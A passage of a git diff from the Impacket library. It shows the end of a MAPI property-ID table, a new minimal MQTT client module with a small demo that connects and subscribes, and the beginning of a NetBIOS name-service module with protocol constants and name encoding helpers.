+        0x694b: (0x0014, None, None, 4, None, None, "SignalTimeStampOffset"),
+        0x6e01: (0x0003, None, None, 4, None, None, "SecurityFlags"),
+        0x6e04: (0x000b, None, None, 4, None, None, "SecurityReceiptRequestProcessed"),
+        0x7000: (0x0040, None, None, 4, None, None, "UserInformationInstanceCreationTime"),
+        0x7018: (0x001f, None, None, 4, None, None, "RemoteFolderDisplayName"),
+        0x7019: (0x0102, None, None, 4, None, None, "AssistantFilterResult"),
+        0x701a: (0x0102, None, None, 4, None, None, "ControlDataForTimerBrokerAssistant"),
+        0x701b: (0x000b, None, None, 4, None, None, "ContainsScheduledTimers"),
+        0x701c: (0x0102, None, None, 4, None, None, "LastScheduledTimerChangeToken"),
+        0x701d: (0x0102, None, None, 4, None, None, "ControlDataForBigFunnelStoreIndexAssistant"),
+        0x701e: (0x0003, None, None, 4, None, None, "BigFunnelStoreIndexAssistantProcessedVersion"),
+        0x701f: (0x0003, None, None, 4, None, None, "BigFunnelStoreIndexAssistantRequestedVersion"),
+        0x7020: (0x0003, None, None, 4, None, None, "PeopleRelevanceMailEventCount"),
+        0x7021: (0x0003, None, None, 4, None, None, "PeopleRelevanceCalendarEventCount"),
+        0x7022: (0x0003, None, None, 4, None, None, "PeopleRelevanceContactEventCount"),
+        0x7023: (0x0040, None, None, 4, None, None, "PeopleRelevanceLastSuccessfulRunTime"),
+        0x702a: (0x0102, None, None, 4, None, None, "MailboxFeatureStorageProperty"),
+        0x702b: (0x0040, None, None, 4, None, None, "LastUserActionTime"),
+        0x7c00: (0x001f, None, None, 4, None, None, "FavoriteDisplayName"),
+        0x7c02: (0x0102, None, None, 4, None, None, "FavPublicSourceKey"),
+        0x7c03: (0x0102, None, None, 4, None, None, "SyncFolderSourceKey"),
+        0x7c04: (0x0102, None, None, 4, None, None, "SyncFolderChangeKey"),
+        0x7c09: (0x0102, None, None, 4, None, None, "UserConfigurationStream"),
+        0x7c0a: (0x0102, None, None, 4, None, None, "SyncStateBlob"),
+        0x7c0b: (0x001f, None, None, 4, None, None, "ReplyForwardStatus"),
+        0x7c0c: (0x001f, None, None, 4, None, None, "PopImapPoisonMessageStamp"),
+        0x7c14: (0x0102, None, None, 4, None, None, "ControlDataForSystemCleanupFolderAssistant"),
+        0x7c1a: (0x0003, None, None, 4, None, None, "UserPhotoCacheId"),
+        0x7c1b: (0x0003, None, None, 4, None, None, "UserPhotoPreviewCacheId"),
+        0x7c1c: (0x0003, None, None, 4, None, None, "ProfileHeaderPhotoCacheId"),
+        0x7c1d: (0x0003, None, None, 4, None, None, "ProfileHeaderPhotoPreviewCacheId"),
+        0x7d03: (0x0003, None, None, 4, None, None, "FavLevelMask"),
+        0x7d0e: (0x0014, None, None, 4, None, None, "ImmutableId"),
+        0x7d0f: (0x0102, None, None, 4, None, None, "ControlDataForWeveMessageAssistant"),
+        0x7d10: (0x0102, None, None, 4, None, None, "WeveMessageAssistantLastMessageSentTime"),
+        0x7d11: (0x0102, None, None, 4, None, None, "WeveMessageAssistantLastNotificationMessageSentTime"),
+        0x7d12: (0x0102, None, None, 4, None, None, "ControlDataForMailboxLifecycleAssistant"),
+        0x7d13: (0x0102, None, None, 4, None, None, "WeveMessageAssistantLastLicenseCheckTime"),
+        0x7d14: (0x000b, None, None, 4, None, None, "WeveMessageAssistantLicenseExists"),
+        0x7d15: (0x0102, None, None, 4, None, None, "ReplacedImmutableIdBin"),
+        0x7d16: (0x000b, None, None, 4, None, None, "IsCloudCacheCrawlingComplete"),
+        0x7d17: (0x0003, None, None, 4, None, None, "CloudCacheItemSyncStatus"),
+        0x7d18: (0x0102, None, None, 4, None, None, "ControlDataForRecordReviewAssistant"),
+        0x7d19: (0x0040, None, None, 4, None, None, "LastRecordIdentifiedTime"),
+        0x7d20: (0x0102, None, None, 4, None, None, "ControlDataForPeopleRelevanceMultiStepAssistant"),
+        0x7d21: (0x0102, None, None, 4, None, None, "ControlDataForXrmSharingMaintenanceAssistant"),
+        0x7d23: (0x0102, None, None, 4, None, None, "ItemAssistantCrawlVersionBlob"),
+        0x7d24: (0x0102, None, None, 4, None, None, "ControlDataForDynamicTba0"),
+        0x7d25: (0x0102, None, None, 4, None, None, "ControlDataForDynamicTba1"),
+        0x7d26: (0x0102, None, None, 4, None, None, "ControlDataForDynamicTba2"),
+        0x7d27: (0x0102, None, None, 4, None, None, "ControlDataForDynamicTba3"),
+        0x7d28: (0x0102, None, None, 4, None, None, "ControlDataForDynamicTba4"),
+        0x7d29: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba0"),
+        0x7d2a: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba1"),
+        0x7d2b: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba2"),
+        0x7d2c: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba3"),
+        0x7d2d: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba4"),
+        0x7d2e: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba5"),
+        0x7d2f: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba6"),
+        0x7d30: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba7"),
+        0x7d31: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba8"),
+        0x7d32: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba9"),
+        0x7d33: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba10"),
+        0x7d34: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba11"),
+        0x7d35: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba12"),
+        0x7d36: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba13"),
+        0x7d37: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba14"),
+        0x7d38: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba15"),
+        0x7d39: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba16"),
+        0x7d3a: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba17"),
+        0x7d3b: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba18"),
+        0x7d3c: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba19"),
+        0x7d3d: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba20"),
+        0x7d3e: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba21"),
+        0x7d3f: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba22"),
+        0x7d40: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba23"),
+        0x7d41: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba24"),
+        0x7d42: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba25"),
+        0x7d43: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba26"),
+        0x7d44: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba27"),
+        0x7d45: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba28"),
+        0x7d46: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba29"),
+        0x7d47: (0x0102, None, None, 4, None, None, "ControlDataForDynamicGriffinTba30"),
+        0x7d48: (0x0102, None, None, 4, None, None, "ControlDataForContentClassificationAssistant"),
+        0x7d49: (0x0102, None, None, 4, None, None, "ControlDataForOfficeGraphSecondaryCopyQuotaTimeBasedAssistant"),
+        0x7d4a: (0x0102, None, None, 4, None, None, "ControlDataForOfficeGraphConvertFilesToWorkingSetAndSpoolsSubFoldersTimeBasedAssistant"),
+        0x7d4b: (0x0102, None, None, 4, None, None, "ControlDataForOfficeGraphSpoolsScaleOutTimeBasedAssistant"),
+        0x7d7f: (0x0102, None, None, 4, None, None, "ControlDataForDynamicTba6"),
+        0x7d80: (0x0003, None, None, 4, None, None, "MailboxTenantSizeEstimate"),
+        0x7d81: (0x0102, None, None, 4, None, None, "ControlDataForMailboxTenantDataAssistant"),
+        0x7ff7: (0x000b, None, None, 4, None, None, "IsATPEncrypted"),
+        0x7ff8: (0x001f, None, None, 4, None, None, "HasDlpDetectedAttachmentClassifications"),
+        0x8d0d: (0x001f, None, None, 4, None, None, "ExternalDirectoryObjectId"),
+}
diff --git a/impacket/mqtt.py b/impacket/mqtt.py
new file mode 100644
index 0000000..20b1c3b
--- /dev/null
+++ b/impacket/mqtt.py
@@ -0,0 +1,419 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Minimalistic MQTT implementation, just focused on connecting, subscribing and publishing basic
+#   messages on topics.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# References:
+#   - https://docs.oasis-open.org/mqtt/mqtt/v3.1.1/mqtt-v3.1.1.html
+#
+# ToDo:
+#   [ ] Implement all the MQTT Control Packets and operations
+#   [ ] Implement QoS = QOS_ASSURED_DELIVERY when publishing messages
+#
+
+from __future__ import print_function
+import logging
+import struct
+import socket
+from impacket.structure import Structure
+try:
+    from OpenSSL import SSL
+except ImportError:
+    logging.critical("pyOpenSSL is not installed, can't continue")
+    raise
+
+# Packet Types
+PACKET_CONNECT = 1 << 4
+PACKET_CONNACK = 2 << 4
+PACKET_PUBLISH = 3 << 4
+PACKET_PUBACK = 4 << 4
+PACKET_PUBREC = 5 << 4
+PACKET_PUBREL = 6 << 4
+PACKET_PUBCOMP = 7 << 4
+PACKET_SUBSCRIBE = 8 << 4
+PACKET_SUBSCRIBEACK = 9 << 4
+PACKET_UNSUBSCRIBE = 10 << 4
+PACKET_UNSUBACK = 11 << 4
+PACKET_PINGREQ = 12 << 4
+PACKET_PINGRESP = 13 << 4
+PACKET_DISCONNECT = 14 << 4
+
+# CONNECT Flags
+CONNECT_USERNAME = 0x80
+CONNECT_PASSWORD = 0x40
+CONNECT_CLEAN_SESSION = 0x2
+
+# CONNECT_ACK Return Errors
+CONNECT_ACK_ERROR_MSGS = {
+    0x00: 'Connection Accepted',
+    0x01: 'Connection Refused, unacceptable protocol version',
+    0x02: 'Connection Refused, identifier rejected',
+    0x03: 'Connection Refused, Server unavailable',
+    0x04: 'Connection Refused, bad user name or password',
+    0x05: 'Connection Refused, not authorized'
+}
+
+# QoS Levels
+QOS_FIRE_AND_FORGET = 0
+QOS_ACK_DELIVERY    = 1
+QOS_ASSURED_DELIVERY= 2
+
+class MQTT_Packet(Structure):
+    commonHdr= (
+        ('PacketType','B=0'),
+        ('MessageLength','<L=0'),
+    )
+    structure = (
+        ('_VariablePart', '_-VariablePart', 'self["MessageLength"]'),
+        ('VariablePart', ':'),
+    )
+    def setQoS(self, QoS):
+        self['PacketType'] |= (QoS << 1)
+
+    def fromString(self, data):
+        if data is not None and len(data) > 2:
+            # Get the Length
+            index = 1
+            multiplier = 1
+            value = 0
+            encodedByte = 128
+            packetType = data[0]
+            while (encodedByte & 128) != 0:
+                encodedByte = ord(data[index])
+                value += (encodedByte & 127) * multiplier
+                multiplier *= 128
+                index += 1
+                if multiplier > 128 * 128 * 128:
+                    raise Exception('Malformed Remaining Length')
+            data = packetType + struct.pack('<L', value) + data[index:value+index]
+            return Structure.fromString(self, data)
+        raise Exception('Dont know')
+
+    def getData(self):
+        packetType = self['PacketType']
+        self.commonHdr = ()
+        packetLen = len(Structure.getData(self))
+        output = ''
+        while packetLen > 0:
+            encodedByte = packetLen % 128
+            packetLen /= 128
+            if packetLen > 0:
+                encodedByte |= 128
+            output += chr(encodedByte)
+        self.commonHdr = ( ('PacketType','B=0'), ('MessageLength',':'), )
+        self['PacketType'] = packetType
+        self['MessageLength'] = output
+        if output == '':
+            self['MessageLength'] = chr(00)
+
+        return Structure.getData(self)
+
+
+class MQTT_String(Structure):
+    structure = (
+        ('Length','>H-Name'),
+        ('Name',':'),
+    )
+
+class MQTT_Connect(MQTT_Packet):
+    structure = (
+        ('ProtocolName',':', MQTT_String),
+        ('Version','B=3'),
+        ('Flags','B=2'),
+        ('KeepAlive','>H=60'),
+        ('ClientID',':', MQTT_String),
+        ('Payload',':=""'),
+    )
+    def __init__(self, data = None, alignment = 0):
+        MQTT_Packet.__init__(self, data, alignment)
+        if data is None:
+            self['PacketType'] = PACKET_CONNECT
+
+class MQTT_ConnectAck(MQTT_Packet):
+    structure = (
+        ('ReturnCode', '>H=0'),
+    )
+
+class MQTT_Publish(MQTT_Packet):
+    structure = (
+        ('Topic',':', MQTT_String),
+        ('Message',':'),
+    )
+    def __init__(self, data = None, alignment = 0):
+        MQTT_Packet.__init__(self, data, alignment)
+        if data is None:
+            self['PacketType'] = PACKET_PUBLISH
+
+    def getData(self):
+        if self['PacketType'] & 6 > 0:
+            # We have QoS enabled, we need to have a MessageID field
+            self.structure = (
+                ('Topic', ':', MQTT_String),
+                ('MessageID', '>H=0'),
+                ('Message', ':'),
+            )
+        return MQTT_Packet.getData(self)
+
+class MQTT_Disconnect(MQTT_Packet):
+    structure = (
+    )
+    def __init__(self, data=None, alignment=0):
+        MQTT_Packet.__init__(self, data, alignment)
+        if data is None:
+            self['PacketType'] = PACKET_DISCONNECT
+
+class MQTT_Subscribe(MQTT_Packet):
+    structure = (
+        ('MessageID','>H=1'),
+        ('Topic',':', MQTT_String),
+        ('Flags','B=0'),
+    )
+    def __init__(self, data = None, alignment = 0):
+        MQTT_Packet.__init__(self, data, alignment)
+        if data is None:
+            self['PacketType'] = PACKET_SUBSCRIBE
+
+class MQTT_SubscribeACK(MQTT_Packet):
+    structure = (
+        ('MessageID','>H=0'),
+        ('ReturnCode','B=0'),
+    )
+    def __init__(self, data = None, alignment = 0):
+        MQTT_Packet.__init__(self, data, alignment)
+        if data is None:
+            self['PacketType'] = PACKET_SUBSCRIBEACK
+
+class MQTT_UnSubscribe(MQTT_Packet):
+    structure = (
+        ('MessageID','>H=1'),
+        ('Topics',':'),
+    )
+    def __init__(self, data = None, alignment = 0):
+        MQTT_Packet.__init__(self, data, alignment)
+        if data is None:
+            self['PacketType'] = PACKET_UNSUBSCRIBE
+
+class MQTTSessionError(Exception):
+    """
+    This is the exception every client should catch
+    """
+
+    def __init__(self, error=0, packet=0, errorString=''):
+        Exception.__init__(self)
+        self.error = error
+        self.packet = packet
+        self.errorString = errorString
+
+    def getErrorCode(self):
+        return self.error
+
+    def getErrorPacket(self):
+        return self.packet
+
+    def getErrorString(self):
+        return self.errorString
+
+    def __str__(self):
+        return self.errorString
+
+class MQTTConnection:
+    def __init__(self, host, port, isSSL=False):
+        self._targetHost = host
+        self._targetPort = port
+        self._isSSL = isSSL
+        self._socket = None
+        self._messageId = 1
+        self.connectSocket()
+
+    def getSocket(self):
+        return self._socket
+
+    def connectSocket(self):
+        s = socket.socket()
+        s.connect((self._targetHost, int(self._targetPort)))
+
+        if self._isSSL is True:
+            ctx = SSL.Context(SSL.TLS_METHOD)
+            ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8'))
+            self._socket = SSL.Connection(ctx, s)
+            self._socket.set_connect_state()
+            self._socket.do_handshake()
+        else:
+            self._socket = s
+
+    def send(self, request):
+        return self._socket.sendall(str(request))
+
+    def sendReceive(self, request):
+        self.send(request)
+        return self.recv()
+
+    def recv(self):
+        REQUEST_SIZE = 8192
+        data = ''
+        done = False
+        while not done:
+            recvData = self._socket.recv(REQUEST_SIZE)
+            if len(recvData) < REQUEST_SIZE:
+                done = True
+            data += recvData
+
+        response = []
+        while len(data) > 0:
+            try:
+                message = MQTT_Packet(data)
+                remaining = data[len(message):]
+            except Exception:
+                # We need more data
+                remaining = data + self._socket.recv(REQUEST_SIZE)
+            else:
+               response.append(message)
+            data = remaining
+
+        self._messageId += 1
+        return response
+
+    def connect(self, clientId = ' ', username = None, password = None, protocolName = 'MQIsdp', version = 3, flags = CONNECT_CLEAN_SESSION, keepAlive = 60):
+        """
+
+        :param clientId: Whatever cliend Id that represents you
+        :param username: if None, anonymous connection will be attempted
+        :param password: if None, anonymous connection will be attempted
+        :param protocolName: specification states default should be 'MQTT' but some brokers might expect 'MQIsdp'
+        :param version: Allowed versions are 3 or 4 (some brokers might like 4)
+        :param flags:
+        :param keepAlive: default 60
+        :return: True or MQTTSessionError if something went wrong
+        """
+
+        # Let's build the packet
+        connectPacket = MQTT_Connect()
+        connectPacket['Version'] = version
+        connectPacket['Flags'] = flags
+        connectPacket['KeepAlive'] = keepAlive
+        connectPacket['ProtocolName'] = MQTT_String()
+        connectPacket['ProtocolName']['Name'] = protocolName
+
+        connectPacket['ClientID'] = MQTT_String()
+        connectPacket['ClientID']['Name'] = clientId
+
+        if username is not None:
+            connectPacket['Flags'] |= CONNECT_USERNAME | CONNECT_PASSWORD
+        if username is None:
+            user = ''
+        else:
+            user = username
+        if password is None:
+            pwd = ''
+        else:
+            pwd = password
+
+        username = MQTT_String()
+        username['Name'] = user
+        password = MQTT_String()
+        password['Name'] = pwd
+        connectPacket['Payload'] = str(username) + str(password)
+
+        data= self.sendReceive(connectPacket)[0]
+
+        response = MQTT_ConnectAck(str(data))
+        if response['ReturnCode'] != 0:
+            raise MQTTSessionError(error = response['ReturnCode'], errorString = CONNECT_ACK_ERROR_MSGS[response['ReturnCode']] )
+
+        return True
+
+    def subscribe(self, topic, messageID = 1, flags = 0, QoS = 1):
+        """
+
+        :param topic: Topic name you want to subscribe to
+        :param messageID: optional messageId
+        :param flags: Message flags
+        :param QoS: define the QoS requested
+        :return: True or MQTTSessionError if something went wrong
+        """
+        subscribePacket = MQTT_Subscribe()
+        subscribePacket['MessageID'] = messageID
+        subscribePacket['Topic'] = MQTT_String()
+        subscribePacket['Topic']['Name'] = topic
+        subscribePacket['Flags'] = flags
+        subscribePacket.setQoS(QoS)
+
+        try:
+            data = self.sendReceive(subscribePacket)[0]
+        except Exception as e:
+            raise MQTTSessionError(errorString=str(e))
+
+        subAck = MQTT_SubscribeACK(str(data))
+
+        if subAck['ReturnCode'] > 2:
+            raise MQTTSessionError(errorString = 'Failure to subscribe')
+
+        return True
+
+    def unSubscribe(self, topic, messageID = 1, QoS = 0):
+        """
+        Unsubscribes from a topic
+
+        :param topic:
+        :param messageID:
+        :param QoS: define the QoS requested
+        :return:
+        """
+        # ToDo: Support more than one topic
+        packet = MQTT_UnSubscribe()
+        packet['MessageID'] = messageID
+        packet['Topics'] = MQTT_String()
+        packet['Topics']['Name'] = topic
+        packet.setQoS( QoS )
+
+        return self.sendReceive(packet)
+
+    def publish(self, topic, message, messageID = 1, QoS=0):
+
+        packet = MQTT_Publish()
+        packet['Topic'] = MQTT_String()
+        packet['Topic']['Name'] = topic
+        packet['Message'] = message
+        packet['MessageID'] = messageID
+        packet.setQoS( QoS )
+
+        return self.sendReceive(packet)
+
+    def disconnect(self):
+        return self.send(str(MQTT_Disconnect()))
+
+if __name__ == '__main__':
+    HOST = '192.168.45.162'
+    USER = 'test'
+    PASS = 'test'
+
+    mqtt = MQTTConnection(HOST, 1883, False)
+    mqtt.connect('secure-', username=USER, password=PASS, version = 3)
+    #mqtt.connect(protocolName='MQTT', version=4)
+    #mqtt.connect()
+
+    #mqtt.subscribe('/test/beto')
+    #mqtt.unSubscribe('/test/beto')
+    #mqtt.publish('/test/beto', 'Hey There, I"d like to talk to you', QoS=1)
+    mqtt.subscribe('$SYS/#')
+
+
+    while True:
+
+        packets = mqtt.recv()
+        for packet in packets:
+            publish = MQTT_Publish(str(packet))
+            print('%s -> %s' % (publish['Topic']['Name'], publish['Message']))
+
+    mqtt.disconnect()
diff --git a/impacket/nmb.py b/impacket/nmb.py
new file mode 100644
index 0000000..3d7aa0f
--- /dev/null
+++ b/impacket/nmb.py
@@ -0,0 +1,1011 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Author:
+#   Altered source done by Alberto Solino (@agsolino)
+#
+# Copyright and license note from Pysmb:
+#
+# Copyright (C) 2001 Michael Teo <michaelteo@bigfoot.com>
+# nmb.py - NetBIOS library
+#
+# This software is provided 'as-is', without any express or implied warranty. 
+# In no event will the author be held liable for any damages arising from the 
+# use of this software.
+#
+# Permission is granted to anyone to use this software for any purpose, 
+# including commercial applications, and to alter it and redistribute it 
+# freely, subject to the following restrictions:
+#
+# 1. The origin of this software must not be misrepresented; you must not 
+#    claim that you wrote the original software. If you use this software 
+#    in a product, an acknowledgment in the product documentation would be
+#    appreciated but is not required.
+#
+# 2. Altered source versions must be plainly marked as such, and must not be 
+#    misrepresented as being the original software.
+#
+# 3. This notice cannot be removed or altered from any source distribution.
+#
+from __future__ import division
+from __future__ import print_function
+from __future__ import absolute_import
+import errno
+import re
+import select
+import socket
+import string
+import time
+import random
+from struct import pack, unpack
+from six import byte2int, indexbytes, b
+
+from impacket.structure import Structure
+
+# Our random number generator
+try:
+    rand = random.SystemRandom()
+except NotImplementedError:
+    rand = random
+    pass
+
+
+################################################################################
+# CONSTANTS
+################################################################################
+# Taken from socket module reference
+INADDR_ANY = '0.0.0.0'
+BROADCAST_ADDR = '<broadcast>'
+
+# Default port for NetBIOS name service
+NETBIOS_NS_PORT = 137
+# Default port for NetBIOS session service
+NETBIOS_SESSION_PORT = 139
+
+# Default port for SMB session service
+SMB_SESSION_PORT = 445
+
+# Owner Node Type Constants
+NODE_B = 0x0000
+NODE_P = 0x2000
+NODE_M = 0x4000
+NODE_RESERVED = 0x6000
+NODE_GROUP = 0x8000
+NODE_UNIQUE = 0x0
+
+# Name Type Constants
+TYPE_UNKNOWN = 0x01
+TYPE_WORKSTATION = 0x00
+TYPE_CLIENT = 0x03
+TYPE_SERVER = 0x20
+TYPE_DOMAIN_MASTER = 0x1B
+TYPE_DOMAIN_CONTROLLER = 0x1C
+TYPE_MASTER_BROWSER = 0x1D
+TYPE_BROWSER = 0x1E
+TYPE_NETDDE  = 0x1F
+TYPE_STATUS = 0x21
+
+# Opcodes values
+OPCODE_QUERY = 0
+OPCODE_REGISTRATION = 0x5 << 11
+OPCODE_RELEASE = 0x6 << 11
+OPCODE_WACK = 0x7 << 11
+OPCODE_REFRESH = 0x8 << 11
+OPCODE_REQUEST = 0 << 11
+OPCODE_RESPONSE = 0x10 << 11
+
+# NM_FLAGS
+NM_FLAGS_BROADCAST = 0x1 << 4
+NM_FLAGS_UNICAST = 0 << 4
+NM_FLAGS_RA = 0x8 << 4
+NM_FLAGS_RD = 0x10 << 4
+NM_FLAGS_TC = 0x20 << 4
+NM_FLAGS_AA = 0x40 << 4
+
+# QUESTION_TYPE
+QUESTION_TYPE_NB = 0x20     # NetBIOS general Name Service Resource Record
+QUESTION_TYPE_NBSTAT = 0x21 # NetBIOS NODE STATUS Resource Record
+# QUESTION_CLASS
+QUESTION_CLASS_IN = 0x1     # Internet class
+
+# RESOURCE RECORD RR_TYPE field definitions
+RR_TYPE_A = 0x1             # IP address Resource Record
+RR_TYPE_NS = 0x2            # Name Server Resource Record
+RR_TYPE_NULL = 0xA          # NULL Resource Record
+RR_TYPE_NB = 0x20           # NetBIOS general Name Service Resource Record
+RR_TYPE_NBSTAT = 0x21       # NetBIOS NODE STATUS Resource Record
+
+# RESOURCE RECORD RR_CLASS field definitions
+RR_CLASS_IN = 1             # Internet class
+
+# RCODE values
+RCODE_FMT_ERR   = 0x1       # Format Error.  Request was invalidly formatted.
+RCODE_SRV_ERR   = 0x2       # Server failure.  Problem with NBNS, cannot process name.
+RCODE_IMP_ERR   = 0x4       # Unsupported request error.  Allowable only for challenging NBNS when gets an Update type
+                            # registration request.
+RCODE_RFS_ERR   = 0x5       # Refused error.  For policy reasons server will not register this name from this host.
+RCODE_ACT_ERR   = 0x6       # Active error.  Name is owned by another node.
+RCODE_CFT_ERR   = 0x7       # Name in conflict error.  A UNIQUE name is owned by more than one node.
+
+# NAME_FLAGS
+NAME_FLAGS_PRM = 0x0200       # Permanent Name Flag.  If one (1) then entry is for the permanent node name.  Flag is zero
+                              # (0) for all other names.
+NAME_FLAGS_ACT = 0x0400       # Active Name Flag.  All entries have this flag set to one (1).
+NAME_FLAG_CNF  = 0x0800       # Conflict Flag.  If one (1) then name on this node is in conflict.
+NAME_FLAG_DRG  = 0x1000       # Deregister Flag.  If one (1) then this name is in the process of being deleted.
+
+# NB_FLAGS
+NB_FLAGS_ONT_B = 0
+NB_FLAGS_ONT_P = 1 << 13
+NB_FLAGS_ONT_M = 2 << 13
+NB_FLAGS_G     = 1 << 15
+
+NAME_TYPES = {TYPE_UNKNOWN: 'Unknown', TYPE_WORKSTATION: 'Workstation', TYPE_CLIENT: 'Client',
+              TYPE_SERVER: 'Server', TYPE_DOMAIN_MASTER: 'Domain Master', TYPE_DOMAIN_CONTROLLER: 'Domain Controller',
+              TYPE_MASTER_BROWSER: 'Master Browser', TYPE_BROWSER: 'Browser Server', TYPE_NETDDE: 'NetDDE Server',
+              TYPE_STATUS: 'Status'}
+
+# NetBIOS Session Types
+NETBIOS_SESSION_MESSAGE = 0x0
+NETBIOS_SESSION_REQUEST = 0x81
+NETBIOS_SESSION_POSITIVE_RESPONSE = 0x82
+NETBIOS_SESSION_NEGATIVE_RESPONSE = 0x83
+NETBIOS_SESSION_RETARGET_RESPONSE = 0x84
+NETBIOS_SESSION_KEEP_ALIVE = 0x85
+
+################################################################################
+# HELPERS
+################################################################################
+def encode_name(name, nametype, scope):
+    # ToDo: Rewrite this simpler, we're using less than written
+    """
+    Perform first and second level encoding of name as specified in RFC 1001 (Section 4)
+    
+    :param string name: the name to encode
+    :param integer nametype: the name type constants
+    :param string scope: the name's scope 
+    
+    :return string/bytes: the encoded name.
+    """
+    if name == '*':
+        name += '\0' * 15
+    elif len(name) > 15:
+        name = name[:15] + chr(nametype)
+    else:
+        name = name.ljust(15) + chr(nametype)
+
+    encoded_name = chr(len(name) * 2) + re.sub('.', _do_first_level_encoding, name)
+
+    try:
+        if isinstance(encoded_name, unicode):
+            encoded_name = encoded_name.encode('utf-8')
+    except NameError:
+        pass
+    if scope:
+        encoded_scope = ''
+        for s in scope.split('.'):
+            encoded_scope = encoded_scope + chr(len(s)) + s
+
+        return b(encoded_name + encoded_scope) + b'\0'
+    else:
+        return b(encoded_name) + b'\0'
+
+# Internal method for use in encode_name()
+def _do_first_level_encoding(m):
+    s = ord(m.group(0))
+    return string.ascii_uppercase[s >> 4] + string.ascii_uppercase[s & 0x0f]
+
+def decode_name(name):
+    # ToDo: Rewrite this simpler, we're using less than written
+    """
+    Perform first and second level decoding of name as specified in RFC 1001 (Section 4)
+
+    :param string/bytes name: the name to decode
+
+    :return string: the decoded name.
+    """
+
+    name_length = ord(name[0:1])
+    assert name_length == 32
+
+    decoded_name = re.sub('..', _do_first_level_decoding, name[1:33].decode('utf-8'))
+    if name[33:34] == b'\0':
+        return 34, decoded_name, ''
+    else:
+        decoded_domain = ''
+        offset = 34
+        while 1:
+            domain_length = byte2int(name[offset:offset+1])
+            if domain_length == 0:
+                break
+            decoded_domain = '.' + name[offset:offset + domain_length].decode('utf-8')
+            offset += domain_length
+        return offset + 1, decoded_name, decoded_domain
+
+def _do_first_level_decoding(m):
+    s = m.group(0)
+    return chr(((ord(s[0]) - ord('A')) << 4) | (ord(s[1]) - ord('A')))
+
+ERRCLASS_QUERY = 0x00
+ERRCLASS_SESSION = 0xf0
+ERRCLASS_OS = 0xff
+
+QUERY_ERRORS = {0x01: 'Format Error. Request was invalidly formatted',
+                0x02: 'Server failure. Problem with NBNS, cannot process name.',
+                0x03: 'Name does not exist',
+                0x04: 'Unsupported request error.  Allowable only for challenging NBNS when gets an Update type registration request.',
+                0x05: 'Refused error.  For policy reasons server will not register this name from this host.',
+                0x06: 'Active error.  Name is owned by another node.',
+                0x07: 'Name in conflict error.  A UNIQUE name is owned by more than one node.',
+
+                }
+
+SESSION_ERRORS = {0x80: 'Not listening on called name',
+                  0x81: 'Not listening for calling name',
+                  0x82: 'Called name not present',
+                  0x83: 'Sufficient resources',
+                  0x8f: 'Unspecified error'
+                  }
+
+class NetBIOSError(Exception):
+    def __init__(self, error_message='', error_class=None, error_code=None):
+        self.error_class = error_class
+        self.error_code = error_code
+        self.error_msg = error_message
+
+    def get_error_code(self):
+        return self.error
+
+    def getErrorCode(self):
+        return self.get_error_code()
+
+    def get_error_string(self):
+        return str(self)
+
+    def getErrorString(self):
+        return str(self)
+
+    def __str__(self):
+        if self.error_code is not None:
+            if self.error_code in QUERY_ERRORS:
+                return '%s-%s(%s)' % (self.error_msg, QUERY_ERRORS[self.error_code], self.error_code)
+            elif self.error_code in SESSION_ERRORS:
+                return '%s-%s(%s)' % (self.error_msg, SESSION_ERRORS[self.error_code], self.error_code)
+            else:
+                return '%s(%s)' % (self.error_msg, self.error_code)
+        else:
+            return '%s' % self.error_msg
+
+class NetBIOSTimeout(Exception):
+    def __init__(self, message = 'The NETBIOS connection with the remote host timed out.'):
+        Exception.__init__(self, message)
+
+################################################################################
+# 4.2 NAME SERVER PACKETS
+################################################################################
+class NBNSResourceRecord(Structure):
+    structure = (
+        ('RR_NAME','z=\x00'),
+        ('RR_TYPE','>H=0'),
+        ('RR_CLASS','>H=0'),
+        ('TTL','>L=0'),
+        ('RDLENGTH','>H-RDATA'),
+        ('RDATA',':=""'),
+    )
+
+class NBNodeStatusResponse(NBNSResourceRecord):
+    def __init__(self, data = 0):
+        NBNSResourceRecord.__init__(self, data)
+        self.mac = b'00-00-00-00-00-00'
